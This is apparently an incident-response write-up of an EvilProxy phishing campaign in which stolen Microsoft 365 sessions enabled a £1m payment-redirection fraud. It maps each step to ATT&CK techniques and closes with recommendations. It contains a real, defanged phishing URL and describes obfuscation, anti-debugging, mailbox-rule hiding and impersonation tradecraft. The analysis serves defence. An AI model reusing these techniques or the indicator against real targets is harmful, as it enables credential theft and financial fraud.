An EvilProxy deep dive: From Outlook to Teams, the £1m heist

Initial Compromise 

This invoice redirection fraud began with a classic phishing attack (T1566 – Phishing), granting the adversary 84 days of undetected access before being locked out. The phishing email used a familiar ruse, claiming the user had a ‘Missed Voicemail’ and including a second email with a malicious .HTML attachment (T1566.001 – Spearphishing Attachment), a well-worn but effective tactic. 

The phishing email originated from a legitimate domain linked to an Asian Cloud, VPS, and email hosting provider (T1583.003 – Acquire Infrastructure: Virtual Private Server). While the email address itself wasn’t related to the client, the adversary customised the displayed sender name to ‘[Client] Call_Service,’ showcasing deliberate preparation and targeting (T1589 – Gather Victim Identity Information). 

The attached .HTML file, titled ‘Audio_Msg [Client].html,’ also reflected this preparation. It featured heavily obfuscated code leveraging the EvilProxy framework, further underscoring the adversary’s sophisticated approach. 

EvilProxy 

The EvilProxy framework is a powerful adversary-in-the-middle (AiTM) attack framework which adversaries use to create targeted phishing emails that include links to customised phishing websites.  

The phishing websites are designed to look like legitimate sign-in pages for services such as Microsoft 365 and Google Workspace but are hosted on the adversary’s infrastructure. Adversaries often go as far as recreating the branded sign-in pages for their targets to provide that additional appearance of authenticity.  

This method works by ‘proxying’ the connection between the user and the legitimate service via the adversary’s infrastructure – acting as a ‘middleman’. This infrastructure captures information like login credentials and authentication tokens and simultaneously sends the login request to the legitimate service. All of this means the user sees and experiences what looks like a normal login process. They are completely unaware that their credentials and session tokens have been captured and can now be used by the adversary to access that account.  

Now most of the functionality sits within the adversary’s infrastructure but they need to be able to direct the user to their convincing (but illegitimate site) while also ensuring their emails and attachments don’t get blocked or quarantined. To achieve this, they heavily obfuscate the code used on the client side to navigate the user to the correct malicious URL.  

Below is a redacted screenshot showing the HTML included within the malicious attachment (T1027 – Obfuscated Files or Information).  

The first important part of this code is the content within the <em> tags; this (redacted in the screenshot) is the target users email address encoded in base64. The next important part is the content between the <a> tags, this is the phishing domain used for this campaign aHR0cHM6Ly9kZnNhNml6eGhyLnN1c3Rpbm1vbmcuc2JzP2VtYWlsPQ== which decodes to hxxps[://]dfsa6izxhr[.]sustinmong[.]sbs/?email=.  

The most important part of this HTML is the JavaScript along with the long string of base64 between the <script> tags. If we decode the long string of base64 we can see obfuscated JavaScript  

By de-obfuscating each part of this code in turn we can establish exactly what it does.  First the code handles extracting the Base64-encoded content from the <em> and <a> tags: 

The code then combines the emContent and aContent into a valid URL and redirects the user’s browser to this malicious site.  

So far, the content of this code has been straightforward however it also includes some attempts to frustrate common analysis and debugging techniques. This code disables browser console methods which would commonly be used to debug or analyse code from within the browser (T1622 – Debugger Evasion). 

And then it attempts to make analysis the code more complicated by mapping obfuscated code references to their actual values using a lookup table. 

Finally, it includes a function to ensure the code is only executed once likely as part of the code attempts to avoid detection. 

After the user is redirected, they’re presented with a realistic looking but malicious version of the genuine log in page for their services (T1557 – Adversary-in-the-Middle)  

Access Persistence 

In this incident, the user unwittingly provided their M365 credentials and completed MFA authentication (T1111 – Multi-Factor Authentication Interception). Within hours, the adversary logged into the account using a commercial VPN IP address. 

The adversary sustained access due to a conditional access policy that required MFA but set the session length to 90 days (T1078.004 – Valid Accounts: Cloud Accounts). This single policy enabled nearly three months of persistent access, ultimately allowing the attempted £1M fund redirection. 

Discovery and Collection  

Once inside, the adversary swiftly executed typical post-compromise actions. They created mailbox rules to hide emails sent from the phishing email's domain (T1114.003 – Email Forwarding Rule). Notably, they also set rules to conceal emails from another domain linked to a separate phishing campaign, despite the user never receiving emails from it. 

The adversary then conducted extensive discovery activities, scouring emails, SharePoint, and OneDrive for content related to financial handling and transfers (T1083 – File and Directory Discovery). This led them to a thread discussing the upcoming quarterly payment to the finance provider. 

During their access, the adversary reviewed over 2,600 emails and SharePoint files, methodically gathering the information needed to execute their scheme. 

Initial Access Again 

Shortly after the first account was compromised, a second user from the same team received an identical phishing email. Like before, the email invited the user to open an attachment to access a voicemail message, redirecting them to a malicious M365 login page (T1078.004 – Valid Accounts: Cloud Accounts). 

The second user also entered their M365 credentials and completed MFA authentication (T1111 – Multi-Factor Authentication Interception). Within hours, the adversary accessed this account, logging in from a different commercial VPN IP address than that which was used in the first compromise. 

Impact 

After identifying the target email thread and compromising the second user, the adversary escalated their efforts to redirect the upcoming payment. 

Using the second user's account, they posed as the legitimate user, repeating an earlier question on the target thread to establish trust (T1656 – Impersonation, T1534 – Internal Spearphishing). Simultaneously, they created a mailbox rule to hide emails from the finance provider’s domain, ensuring their communications went unnoticed (T1114.003 – Email Forwarding Rule). 

When the finance provider replied, the adversary deviated from the thread, copying its contents into a new email sent from a spoofed finance provider domain. They requested confirmation of the payment date (T1199 – Trusted Relationship, T1583.001 – Acquire Infrastructure: Domains). Although the legitimate user replied, the adversary’s spoofed domain lacked an actual email account, resulting in a bounce-back. The user, unaware of any threat, simply resent the reply to the legitimate domain. 

Nearly a month later, days before the payment, the adversary re-engaged, using a new spoofed email address to request updated remittance information. This request was passed among colleagues, leading to further document requests. The adversary quickly complied, and payment was made to the fraudulent bank account the next day. 

The attack didn’t end there. Once the payment redirection was detected, the client began recovery efforts, involving the Finance Controller—whose account was still compromised. The adversary acted to frustrate the recovery, using the Finance Controller’s account to communicate fraudulent ‘verified’ payment details. They escalated their efforts by using Microsoft Teams to share these details directly (T1213.005 – Data from Information Repositories: Messaging Applications, T1657 – Financial Theft). 

Ultimately, the adversary’s activity in Teams exposed the compromise. Messages sent from the Finance Controller’s account raised red flags when they coincided with the person being physically present with the recipients, leading to the discovery of the breach. 

Recommendations 

• Reinforce compliance with existing regulations and cybersecurity policies  

• Develop and implement a plan for responding to cyber incidents  

• Establish and maintain comprehensive incident response plans   

• Review and assess risk exposure regularly  

• Understand the security implications of the supply chain   

• Enforce shorter conditional access session length rotation 

• Train users to recognise phishing attempts and how to verify login domains 

• Develop a methodological review of payment account verification 

• Monitor for suspicious mailbox rules and unusual Microsoft 365 activity 

ATT&CK Techniques and Sub-Techniques 

ATT&CK Layer